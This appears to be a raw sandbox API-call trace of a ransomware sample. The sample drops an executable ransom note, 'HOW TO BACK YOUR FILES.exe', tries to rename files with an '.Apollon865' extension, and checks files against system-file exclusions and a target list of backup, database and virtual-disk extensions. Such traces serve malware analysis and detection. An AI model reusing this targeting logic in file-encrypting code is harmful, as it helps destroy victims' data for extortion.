	[0060.901] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.906] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.906] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c5e8a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c5e8a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0060.906] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.906] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.906] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.906] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c5e8a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c5e8a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.906] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.906] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.906] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.906] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0060.906] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5e5243, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d5e5243, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d5e5243, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bg_sidebar.png", cAlternateFileName="")) returned 1
	[0060.906] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.906] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="Apollon865.txt.exe") returned 1
	[0060.907] lstrcmpiW (lpString1="bg_sidebar.png", lpString2=".") returned 1
	[0060.907] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="..") returned 1
	[0060.907] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="windows") returned -1
	[0060.907] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="bootmgr") returned -1
	[0060.907] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="temp") returned -1
	[0060.907] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="pagefile.sys") returned -1
	[0060.907] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="boot") returned -1
	[0060.907] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="ids.txt") returned -1
	[0060.907] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="ntuser.dat") returned -1
	[0060.907] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="perflogs") returned -1
	[0060.907] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="MSBuild") returned -1
	[0060.907] lstrlenW (lpString="bg_sidebar.png") returned 14
	[0060.907] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*") returned 77
	[0060.907] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="bg_sidebar.png" | out: lpString1="bg_sidebar.png") returned="bg_sidebar.png"
	[0060.907] lstrlenW (lpString="bg_sidebar.png") returned 14
	[0060.907] lstrlenW (lpString="Apollon865") returned 10
	[0060.907] lstrcmpiW (lpString1="idebar.png", lpString2="Apollon865") returned 1
	[0060.907] lstrlenW (lpString=".dll") returned 4
	[0060.907] lstrcmpiW (lpString1="bg_sidebar.png", lpString2=".dll") returned 1
	[0060.907] lstrlenW (lpString=".lnk") returned 4
	[0060.907] lstrcmpiW (lpString1="bg_sidebar.png", lpString2=".lnk") returned 1
	[0060.907] lstrlenW (lpString=".ini") returned 4
	[0060.907] lstrcmpiW (lpString1="bg_sidebar.png", lpString2=".ini") returned 1
	[0060.907] lstrlenW (lpString=".sys") returned 4
	[0060.907] lstrcmpiW (lpString1="bg_sidebar.png", lpString2=".sys") returned 1
	[0060.907] lstrlenW (lpString="bg_sidebar.png") returned 14
	[0060.907] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="slideshow_glass_frame.png" | out: lpString1="slideshow_glass_frame.png") returned="slideshow_glass_frame.png"
	[0060.907] lstrlenW (lpString="slideshow_glass_frame.png") returned 25
	[0060.907] lstrlenW (lpString="Apollon865") returned 10
	[0060.907] lstrcmpiW (lpString1="_frame.png", lpString2="Apollon865") returned -1
	[0060.908] lstrlenW (lpString=".dll") returned 4
	[0060.908] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2=".dll") returned 1
	[0060.908] lstrlenW (lpString=".lnk") returned 4
	[0060.908] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2=".lnk") returned 1
	[0060.908] lstrlenW (lpString=".ini") returned 4
	[0060.908] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2=".ini") returned 1
	[0060.908] lstrlenW (lpString=".sys") returned 4
	[0060.908] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2=".sys") returned 1
	[0060.908] lstrlenW (lpString="slideshow_glass_frame.png") returned 25
	[0060.908] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US"
	[0060.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0060.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0060.908] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US") returned 63
	[0060.908] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US"
	[0060.908] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.908] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.914] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3c60ebf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c60ebf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0060.914] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.914] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.914] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.914] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3c60ebf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c60ebf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.915] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.915] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.915] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.915] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0060.915] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1
	[0060.915] lstrcmpiW (lpString1="css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.915] lstrcmpiW (lpString1="css", lpString2="Apollon865.txt.exe") returned 1
	[0060.915] lstrcmpiW (lpString1="css", lpString2=".") returned 1
	[0060.915] lstrcmpiW (lpString1="css", lpString2="..") returned 1
	[0060.915] lstrcmpiW (lpString1="css", lpString2="windows") returned -1
	[0060.915] lstrcmpiW (lpString1="css", lpString2="bootmgr") returned 1
	[0060.915] lstrcmpiW (lpString1="css", lpString2="temp") returned -1
	[0060.915] lstrcmpiW (lpString1="css", lpString2="pagefile.sys") returned -1
	[0060.915] lstrcmpiW (lpString1="css", lpString2="boot") returned 1
	[0060.915] lstrcmpiW (lpString1="css", lpString2="ids.txt") returned -1
	[0060.915] lstrcmpiW (lpString1="css", lpString2="ntuser.dat") returned -1
	[0060.915] lstrcmpiW (lpString1="css", lpString2="perflogs") returned -1
	[0060.915] lstrcmpiW (lpString1="css", lpString2="MSBuild") returned -1
	[0060.915] lstrlenW (lpString="css") returned 3
	[0060.915] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*") returned 65
	[0060.915] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="css" | out: lpString1="css") returned="css"
	[0060.915] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0060.915] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8f28
	[0060.915] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0060.915] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1
	[0060.915] lstrcmpiW (lpString1="gadget.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.915] lstrcmpiW (lpString1="gadget.xml", lpString2="Apollon865.txt.exe") returned 1
	[0060.915] lstrcmpiW (lpString1="gadget.xml", lpString2=".") returned 1
	[0060.915] lstrcmpiW (lpString1="gadget.xml", lpString2="..") returned 1
	[0060.915] lstrcmpiW (lpString1="gadget.xml", lpString2="windows") returned -1
	[0060.915] lstrcmpiW (lpString1="gadget.xml", lpString2="bootmgr") returned 1
	[0060.915] lstrcmpiW (lpString1="gadget.xml", lpString2="temp") returned -1
	[0060.916] lstrcmpiW (lpString1="gadget.xml", lpString2="pagefile.sys") returned -1
	[0060.916] lstrcmpiW (lpString1="gadget.xml", lpString2="boot") returned 1
	[0060.916] lstrcmpiW (lpString1="gadget.xml", lpString2="ids.txt") returned -1
	[0060.916] lstrcmpiW (lpString1="gadget.xml", lpString2="ntuser.dat") returned -1
	[0060.916] lstrcmpiW (lpString1="gadget.xml", lpString2="perflogs") returned -1
	[0060.916] lstrcmpiW (lpString1="gadget.xml", lpString2="MSBuild") returned -1
	[0060.916] lstrlenW (lpString="gadget.xml") returned 10
	[0060.916] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css") returned 67
	[0060.916] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="gadget.xml" | out: lpString1="gadget.xml") returned="gadget.xml"
	[0060.916] lstrlenW (lpString="gadget.xml") returned 10
	[0060.916] lstrlenW (lpString="Apollon865") returned 10
	[0060.916] lstrlenW (lpString=".dll") returned 4
	[0060.916] lstrcmpiW (lpString1="gadget.xml", lpString2=".dll") returned 1
	[0060.916] lstrlenW (lpString=".lnk") returned 4
	[0060.916] lstrcmpiW (lpString1="gadget.xml", lpString2=".lnk") returned 1
	[0060.916] lstrlenW (lpString=".ini") returned 4
	[0060.916] lstrcmpiW (lpString1="gadget.xml", lpString2=".ini") returned 1
	[0060.916] lstrlenW (lpString=".sys") returned 4
	[0060.916] lstrcmpiW (lpString1="gadget.xml", lpString2=".sys") returned 1
	[0060.916] lstrlenW (lpString="gadget.xml") returned 10
	[0060.916] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml.Apollon865") returned 85
	[0060.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0060.918] GetLastError () returned 0x5
	[0060.918] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 103
	[0060.918] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 103
	[0060.918] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0060.918] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2597
	[0060.918] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x67, lpOverlapped=0x0) returned 1
	[0060.918] CloseHandle (hObject=0xc0) returned 1
	[0060.918] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0060.918] CloseHandle (hObject=0x0) returned 0
	[0060.918] CloseHandle (hObject=0x0) returned 0
	[0060.918] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c60ebf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3c60ebf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0060.919] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0060.919] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0060.919] lstrcmpiW (lpString1="js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.919] lstrcmpiW (lpString1="js", lpString2="Apollon865.txt.exe") returned 1
	[0060.919] lstrcmpiW (lpString1="js", lpString2=".") returned 1
	[0060.919] lstrcmpiW (lpString1="js", lpString2="..") returned 1
	[0060.919] lstrcmpiW (lpString1="js", lpString2="windows") returned -1
	[0060.919] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1
	[0060.919] lstrcmpiW (lpString1="js", lpString2="temp") returned -1
	[0060.919] lstrcmpiW (lpString1="js", lpString2="pagefile.sys") returned -1
	[0060.919] lstrcmpiW (lpString1="js", lpString2="boot") returned 1
	[0060.919] lstrcmpiW (lpString1="js", lpString2="ids.txt") returned 1
	[0060.919] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1
	[0060.919] lstrcmpiW (lpString1="js", lpString2="perflogs") returned -1
	[0060.919] lstrcmpiW (lpString1="js", lpString2="MSBuild") returned -1
	[0060.919] lstrlenW (lpString="js") returned 2
	[0060.919] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml") returned 74
	[0060.919] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="js" | out: lpString1="js") returned="js"
	[0060.919] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0060.919] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b90d8
	[0060.919] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fc70
	[0060.919] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1910, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1
	[0060.919] lstrcmpiW (lpString1="settings.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.919] lstrcmpiW (lpString1="settings.html", lpString2="Apollon865.txt.exe") returned 1
	[0060.919] lstrcmpiW (lpString1="settings.html", lpString2=".") returned 1
	[0060.919] lstrcmpiW (lpString1="settings.html", lpString2="..") returned 1
	[0060.919] lstrcmpiW (lpString1="settings.html", lpString2="windows") returned -1
	[0060.919] lstrcmpiW (lpString1="settings.html", lpString2="bootmgr") returned 1
	[0060.919] lstrcmpiW (lpString1="settings.html", lpString2="temp") returned -1
	[0060.919] lstrcmpiW (lpString1="settings.html", lpString2="pagefile.sys") returned 1
	[0060.920] lstrcmpiW (lpString1="settings.html", lpString2="boot") returned 1
	[0060.920] lstrcmpiW (lpString1="settings.html", lpString2="ids.txt") returned 1
	[0060.920] lstrcmpiW (lpString1="settings.html", lpString2="ntuser.dat") returned 1
	[0060.920] lstrcmpiW (lpString1="settings.html", lpString2="perflogs") returned 1
	[0060.920] lstrcmpiW (lpString1="settings.html", lpString2="MSBuild") returned 1
	[0060.920] lstrlenW (lpString="settings.html") returned 13
	[0060.920] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js") returned 66
	[0060.920] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="settings.html" | out: lpString1="settings.html") returned="settings.html"
	[0060.920] lstrlenW (lpString="settings.html") returned 13
	[0060.920] lstrlenW (lpString="Apollon865") returned 10
	[0060.920] lstrcmpiW (lpString1="tings.html", lpString2="Apollon865") returned 1
	[0060.920] lstrlenW (lpString=".dll") returned 4
	[0060.920] lstrcmpiW (lpString1="settings.html", lpString2=".dll") returned 1
	[0060.920] lstrlenW (lpString=".lnk") returned 4
	[0060.920] lstrcmpiW (lpString1="settings.html", lpString2=".lnk") returned 1
	[0060.920] lstrlenW (lpString=".ini") returned 4
	[0060.920] lstrcmpiW (lpString1="settings.html", lpString2=".ini") returned 1
	[0060.920] lstrlenW (lpString=".sys") returned 4
	[0060.920] lstrcmpiW (lpString1="settings.html", lpString2=".sys") returned 1
	[0060.920] lstrlenW (lpString="settings.html") returned 13
	[0060.920] lstrlenW (lpString="bak") returned 3
	[0060.920] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0060.920] lstrlenW (lpString="ba_") returned 3
	[0060.920] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0060.920] lstrlenW (lpString="dbb") returned 3
	[0060.920] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0060.920] lstrlenW (lpString="vmdk") returned 4
	[0060.920] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0060.920] lstrlenW (lpString="rar") returned 3
	[0060.920] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0060.920] lstrlenW (lpString="zip") returned 3
	[0060.920] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0060.920] lstrlenW (lpString="tgz") returned 3
	[0060.921] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0060.921] lstrlenW (lpString="vbox") returned 4
	[0060.921] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0060.921] lstrlenW (lpString="vdi") returned 3
	[0060.921] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0060.921] lstrlenW (lpString="vhd") returned 3
	[0060.921] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0060.921] lstrlenW (lpString="vhdx") returned 4
	[0060.921] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0060.921] lstrlenW (lpString="avhd") returned 4
	[0060.921] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0060.921] lstrlenW (lpString="db") returned 2
	[0060.921] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0060.921] lstrlenW (lpString="db2") returned 3
	[0060.921] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0060.921] lstrlenW (lpString="db3") returned 3
	[0060.921] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0060.921] lstrlenW (lpString="dbf") returned 3
	[0060.921] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0060.921] lstrlenW (lpString="mdf") returned 3
	[0060.921] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0060.921] lstrlenW (lpString="mdb") returned 3
	[0060.921] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0060.921] lstrlenW (lpString="sql") returned 3
	[0060.921] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0060.921] lstrlenW (lpString="sqlite") returned 6
	[0060.921] lstrcmpiW (lpString1="s.html", lpString2="sqlite") returned -1
	[0060.921] lstrlenW (lpString="sqlite3") returned 7
	[0060.921] lstrcmpiW (lpString1="gs.html", lpString2="sqlite3") returned -1
	[0060.921] lstrlenW (lpString="sqlitedb") returned 8
	[0060.921] lstrcmpiW (lpString1="ngs.html", lpString2="sqlitedb") returned -1
	[0060.921] lstrlenW (lpString="xml") returned 3
	[0060.921] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0060.921] lstrlenW (lpString="$er") returned 3
	[0060.922] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0060.922] lstrlenW (lpString="4dd") returned 3
	[0060.922] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0060.922] lstrlenW (lpString="4dl") returned 3
	[0060.922] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0060.922] lstrlenW (lpString="^^^") returned 3
	[0060.922] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0060.922] lstrlenW (lpString="abs") returned 3
	[0060.922] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0060.922] lstrlenW (lpString="abx") returned 3
	[0060.922] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0060.922] lstrlenW (lpString="accdb") returned 5
	[0060.922] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0060.922] lstrlenW (lpString="accdc") returned 5
	[0060.922] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0060.922] lstrlenW (lpString="accde") returned 5
	[0060.922] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0060.922] lstrlenW (lpString="accdr") returned 5
	[0060.922] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0060.922] lstrlenW (lpString="accdt") returned 5
	[0060.922] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0060.922] lstrlenW (lpString="accdw") returned 5
	[0060.922] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0060.922] lstrlenW (lpString="accft") returned 5
	[0060.922] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0060.922] lstrlenW (lpString="adb") returned 3
	[0060.922] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0060.922] lstrlenW (lpString="adb") returned 3
	[0060.922] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0060.922] lstrlenW (lpString="ade") returned 3
	[0060.922] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0060.922] lstrlenW (lpString="adf") returned 3
	[0060.922] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0060.923] lstrlenW (lpString="adn") returned 3
	[0060.923] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0060.923] lstrlenW (lpString="adp") returned 3
	[0060.923] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0060.923] lstrlenW (lpString="alf") returned 3
	[0060.923] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0060.923] lstrlenW (lpString="ask") returned 3
	[0060.923] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0060.923] lstrlenW (lpString="btr") returned 3
